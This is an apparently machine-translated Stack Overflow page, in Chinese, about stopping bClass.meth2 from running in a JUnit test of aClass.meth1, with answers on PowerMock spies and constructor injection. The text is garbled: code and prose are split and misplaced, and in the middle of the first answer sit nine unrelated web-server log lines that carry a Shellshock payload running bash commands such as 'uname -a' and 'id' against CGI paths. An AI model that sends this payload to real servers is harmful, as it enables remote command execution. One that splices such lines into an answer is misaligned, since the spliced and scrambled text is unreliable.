我目前有2个班级:
unsigned char
目前,我正在为public class aClass{
public void meth1(){
bClass b = new bClass();
b.meth2();// i dont want to call this method
//buss logic
}
}
public class bClass{
public void meth2(){
// some logic
}
}
中的meth1
创建一个junit测试用例。
不过,我不想在aClass
中拨打meth2
,只需执行bClass
中的busslogic
。
类aClass
和aClass
已修复 - 我无法(也不会)更改bClass
和aClass
上的代码。
我使用mokito和power mock尝试了许多像@ injectmock和doNothing的东西,但是当我在bClass
中调用meth2
时,meth1
总会被调用。
我该怎么做才能解决这个问题?
答案 0 :(得分:3)
You can do this with Powermockito。该链接解释了所有细节。以下是您的示例的样子。
@Mock
编辑:
当你使用@Mock模拟出bClass实例时,它会用mock方法替换该实例中的所有方法。如果你只想模仿bCLas中的一些方法,那么你必须监视bCLass实例而不是模拟它。间谍只嘲笑你想要的方法。因此,在我的示例中,只需将@Spy
替换为62.210.113.143 - - [29/Sep/2015:13:36:00 -0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 200 18 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\""
62.210.113.143 - - [29/Sep/2015:13:36:00 -0700] "GET /cgi-bin/status/status.cgi HTTP/1.1" 301 266 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\""
62.210.113.143 - - [29/Sep/2015:13:36:00 -0700] "GET /cgi-bin/status/status.cgi HTTP/1.1" 404 71873 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\""
62.210.113.143 - - [29/Sep/2015:13:36:01 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 200 1963 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\""
62.210.113.143 - - [29/Sep/2015:13:36:03 -0700] "GET /cgi-mod/index.cgi HTTP/1.1" 301 258 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\""
62.210.113.143 - - [29/Sep/2015:13:36:03 -0700] "GET /cgi-mod/index.cgi HTTP/1.1" 404 71873 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\""
62.210.113.143 - - [29/Sep/2015:13:36:04 -0700] "GET /cgi-bin/test.cgi HTTP/1.1" 301 257 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\""
62.210.113.143 - - [29/Sep/2015:13:36:04 -0700] "GET /cgi-bin/test.cgi HTTP/1.1" 404 71873 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\""
62.210.113.143 - - [29/Sep/2015:13:36:04 -0700] "GET /cgi-bin-sdb/printenv HTTP/1.1" 301 261 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\""
,然后只会阻止meth2,而不会阻止bClass中的任何其他方法。
答案 1 :(得分:0)
目前,由于您无法更改AClass的约束,因此唯一的解决方案是使用Powermock(或类似工具)as Jose Martinez mentioned above。就其本身而言,Mockito无法替换构造函数(它们被视为静态方法调用),因此您唯一的解决方案是重写aClass。
对于任何未发现此问题且没有该约束的读者,bClass的快速重构将使这更容易测试。
public class aClass{
public void meth1(){
meth1(new bClass());
}
/** Package private for testing. */
public void meth1(bClass b){
b.meth2();
//buss logic
}
}
此时,您可以传递模拟bClass并调用单参数重载来测试业务逻辑。您还可以将b.meth2()
移出单参数方法,并移入公共无参数方法,如果它的行为更像是设置调用。
答案 2 :(得分:0)
你可以使用mockito ......
public class aClass {
private final bClass b;
public aClass() {
this.b = new bClass()
}
public aClass(bClass b) {
this.b = b;
}
....
}
@RunWith(MockitoJUnitRunner.class)
public class aClassTest {
@Mock
private final bClass b;
@InjectMocks
private aClass a;
....
}